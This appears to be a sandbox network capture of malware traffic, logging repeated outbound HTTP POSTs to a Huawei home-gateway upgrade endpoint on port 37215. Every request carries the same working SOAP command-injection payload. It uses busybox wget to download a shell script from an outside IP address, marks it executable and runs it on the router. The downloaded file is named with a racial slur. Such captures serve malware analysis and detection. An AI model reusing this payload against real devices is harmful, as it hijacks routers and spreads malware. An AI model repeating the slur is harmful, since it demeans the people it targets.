Feb 19, 2024 18:36:26.124572039 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.554095984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.412988901 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	59802	31.136.252.43	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.500840902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.070883036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.190704107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.558410883 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.165843010 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.124581099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
